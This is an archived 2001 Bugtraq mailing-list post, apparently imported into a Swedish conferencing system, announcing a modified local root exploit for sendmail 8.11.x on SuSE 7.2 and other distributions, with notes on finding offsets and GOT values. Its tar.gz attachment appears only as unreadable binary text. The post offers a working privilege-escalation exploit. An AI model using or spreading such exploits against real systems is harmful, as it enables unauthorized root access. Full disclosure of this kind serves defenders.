6979530 2001-08-26 11:45 +0200 /30 rader/ RoMaN SoFt / LLFB!! <roman@madrid.com> Sänt av: joel@lysator.liu.se Importerad: 2001-08-26 19:20 av Brevbäraren Extern mottagare: grange@rt.mipt.ru Extern kopiemottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <18962> Ärende: SuSE 7.2 (& others) sendmail local xploit ------------------------------------------------------------ Hi. This is the 'alsou.c' sendmail 8.11.x (x<=5) xploit with some very slight modifications: - extensive documentation and example on how to get this to work on several distros / sendmail versions - working on default SuSE 7.2 (sendmail 8.11.3): - also included working parameters for SuSE 6.4 with *custom compiled* sendmail 8.11.2: - allows to give offset in command line. Use with 'smxploit' script (also included) in order to find correct offset. This will be necessary in different distros / sendmail versions - QUICK GUIDE for finding propper exploitation values (VECT, GOT and OFFSET): ==> CASE A: Non-stripped binary: ==> CASE B: Stripped binary (this is the default on several distros): Please read complete alsou2.c comment lines for the whole explanation. Regards, =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ** RoMaN SoFt / LLFB ** roman@madrid.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ (6979530) /RoMaN SoFt / LLFB!! <roman@madrid.com>/-- Bilaga (application/octet-stream) i text 6979531 6979531 2001-08-26 11:45 +0200 /14 rader/ RoMaN SoFt / LLFB!! <roman@madrid.com> Bilagans filnamn: "alsou2.tar.gz" Importerad: 2001-08-26 19:20 av Brevbäraren Extern mottagare: grange@rt.mipt.ru Extern kopiemottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <18963> Bilaga (text/plain) till text 6979530 Ärende: Bilaga (alsou2.tar.gz) till: SuSE 7.2 (& others) sendmail local xploit ------------------------------------------------------------ 8j; íisÛÆÕ_Å_ñJÛ) ¢-5c»iÛµäÌd$EÁ±$aXHä4éîè{{à!ÙI·3Á°o÷ÝÇ.(XN½(nÎg1²Ö½ßl»c÷»]ü¶í~¯#¿úÖpÏî·;®ÝëôÚxí´Ývïtf6!ÜKùÔKîÄc©ø}^ö÷bÁs× >% ۱Ѳ[ìïÚn»³´?Zñ;=»sìOÉÄmð·ë `¬N×ô6à_6a°/`¯ÀÀrkÊeà&Ê& øÁ5K âh<É`ÊÃh^ñDqQZ· l±DD×BäSd¼$Ä1o:àíß@ÆaÌ2äápÃÓ÷4$ñb#¥\@Ä(" áFÉÐC6òò8Óüôô-jëb´ëC#5ô/D¿÷ÿ4¹ÖÏv [:zpxàÕh$Xvìvm[=xÃh¡ÄxS&`®>1ÃQÄB½ìã Kãfp¢fIÓµìîý¥DIç!μÍP 0⩶guq$ŧðé,Yx°aJ×Øá<xÉIÓßGåE ?ĦÁ¤òÄÜbÀÓOBâE¢_®)M£8â«ÒvA§4®ê(¥Òß UºUjmß7¶'½ÆüFzÚÜKJ¨h)6LbYðV0¥Ô}1U¤ÑLâò4d)zZL¯e-#ë&câ1aÂà Á©.# Ï6fZú·Yú»gOÏðâÕ´Æ«çÏO@Òz3¹M¬x)åq¼öql%?\ØR@³þñöë§o¿þêt%"'=,å³ ÇÔ*l¯½8g¦ÿzÐOàéô×'CxÉ& !¥ü(AÝßt¬&<7¢K©Iú\oãÐ'$o)$ ê¼ 6ƸRlüWÔ-¤{,xÊINz'kÅ¢2?C+iK ¥%|¦Ôår¸@Å#ô[ð Aîå½<O2¾NTþ ÈHj /"ÌrxèeÙç³]ÄZÙt¶¼S$jó§í˲/×P°ä½råT3ÙìE³ºV§ê$_Þvcãb4Ayn1=ȼYçiÀ¤t.Z·r$ãÊÚá7ûdiÁ° MØe¤p.ÈJÒ,4"Id5eä4Æ+LÑå¿N,+Î2c !´~¯ßE<öèßTÐÆÄS´ÔTÿÞ¹¾W¨=#³¨9ËòEHÁïhhæy5tß_³=üÃËQFÚDÿNG0lÖ5µøþr§ë±M®ºê4L©Þ.òõ;@Á=7K2Æè:h<^4µSøuÌøá1úBM6yxæ3. OnYý#vÇLî¿óéá::©¢QëCL2 SÇ¢£(EW¸Asb¼¼ è8ŬNùµuðÐ:hÔèþzz¨áC0ÞÒÁÀÊ8\w¡cÛÒðÙ÷êÍ'à@óKü¸ýÑJkͦág`uGÝöP³æ9ø>ØûH¾ìùÀé;ÞÀn<dÞܬñø8øÁÀ:ÃÂ` N vosfá¡£LDs}ß,ÓÙZ@¦-¹®`±¥ó¶O]5ÿ©,²¼¡K`u£z%CÌÇfàýGÔÅe¤¥JIÇ2oÍW:»,ø5r |ìÓ?hmcc)½µ¬ü©é8ë¸Åe:`÷o[&Ë» Q§°}7ÁnnÎI î`Pù2ÇòDö])c+婸yÔ¬_Þ½n«õ5L²GËvD%utN+kÃÁÒÌzî+'pÖÜÀ¬-'§¦c9úé)î3Ýb[1ÝHLØâïîárߺÈ7 qm1î©9vyµúµ×¢^,ïá±Èpp8p;¶}b¢ÇmDX`&|~ØÌ£ç¸5ABýxµäå{?åQfz;ÌQÚ©qHó$AMX Ïæ)BÚû~ÀÒ¾øP~³áÇ?«Ü¥;|F%§¶»xsÕô®þööÛ×W§ß`¿zÆÛ!'6*J<¹À-yÓàë첦޳«LwÝrÿé-û%Õ5R»²Ì×®éÔØÒm´øÿvûn¿mZiñ¹[é[YêþFÜOÔÝË¢µxÒ^A,x® B.eÛ5èÆSèÿ ÿÖ{yÊgðX¹Gȼl"BÎSýOR:áƺnϲkÛ9ú5 yWfCnvèfc©å©´>iDUçszæôAãqÀ]Åz1÷FÙ $úØÇ׶ 2WÒÊlqÓ+i2«÷v§/7Û Jbo,缾»çæ¬ØÕuÞ DcEr¼fDåxE wRlJ½Ö§+ zæÁc uèÚ.¦üé4h~h¦3¢ÞÊ°IòåÁÃr+Ìëá¼wUÅ¡áÑÑjØé&ìÂÄÁ û®3ê¬5ùSrÌGÒKD»vRîêFÍAaI¸ÑÃïtQĺîóÕ<Jò;4kAëjÚi鵺¯gÈZá®÷TºlÿÈcwûuj503·j< õX±$o;ÿÏ ²,ÅÙýàÎR¼b^óò:å¾çÇb¦ÅÞBU}Ñ&÷=[f:g_°=åÈ<;uÊÕ4Ê2ÈÐSg%!Óûc:z[OgRÍ<Á|þÕË=˵àù½B{½¦ TF«Ñ~.ubò#½B9?[Ì)F2¢þ}öó+ÊáS#}éÃÇêû4³¦Ñ,³ÒüD!´*P¹oNþ hÑúÂgaùô¬Ò:X½ùJ÷-[obhYóÎAÛAÖGóLÊ_è:ÍsÕZ-_ÔÔúæ{ /ñtWu@Í% _çqÂRò¦Ïê úD3Q\îÈjÃÍ$ &Ûó¤\l&»Âã¥t¶úlmÈh{í¶P¹k¨pkun!ißJÒ¹»IºNe©ë¯^¿|û-®äâÃ`â¡ßNXÇ_Âqe¯z1o;óÀVß¡1÷ñÚéã³ð³KUâÐ3gsxN÷bÞõi¡5y§}1·qþàHÛºV8r,À{\§£Ç$]h(Û/ÐÁqÖ»Àüjþ §%Sͤú¨RÉÕ+¢çÒVö®®<1½ºªÑ±FL|&µþ¨òK¥Bèh¤&WÒqÐ ©¼¾>¿+¨l<n8w»½ËàÞC_x×çmúf×çîå£ÊÞ:'èRÇdPVÆkõ (eYCu, =úúØ ÙCZZSëSzÉÔ;KjKÃÕáÐØõº(Î^4z/ß~óMù½KS¢øj: ¾·ÇpÛUk:týKeOÌRävT2V½xq,±¦lÉ%¡CÝÊÝÐ4i¼0üàEµ±ò±: j¤`ܽ`ÍÝÛÓ¯ê±ÏâQMªÛ¹¤UY,XE¦ GòyeOÓêvüaxTþꩲÊyKW@æVú5c¨6C)«:=¦´SjËb>Â;²ã!Hu¹Oâã-fÌ15¤¦Ôáþ³ìHÕú)&o>Ì-ü¬n:´9ð2bÑåMïðÐPÔÑçÉ ´Ï{Ô]cö/ì}Ô¦ûêvyÆÈ¡a.ÔµK×ä=d =í«îâà׬þß úg×*¢þ׿ø#ÀæïÌööSÒ ßÿÜõû¯¶³úýOÇí#~×î¸åï>Üÿ,}¾'&ûtóÁ³ûàvg }ÊðÀ©°`¡Z<.zàPýÀÝ:+zЮVT¶;7§"ÐÄ;D½GòÊ®cs¢ñ#öäérÞ!®öc%ä +óE %PB %PB %PB %PB %PB %PB %PB %PB %PB øLöØÝ P (6979531) /RoMaN SoFt / LLFB!! <roman@madrid.com>/(Ombruten)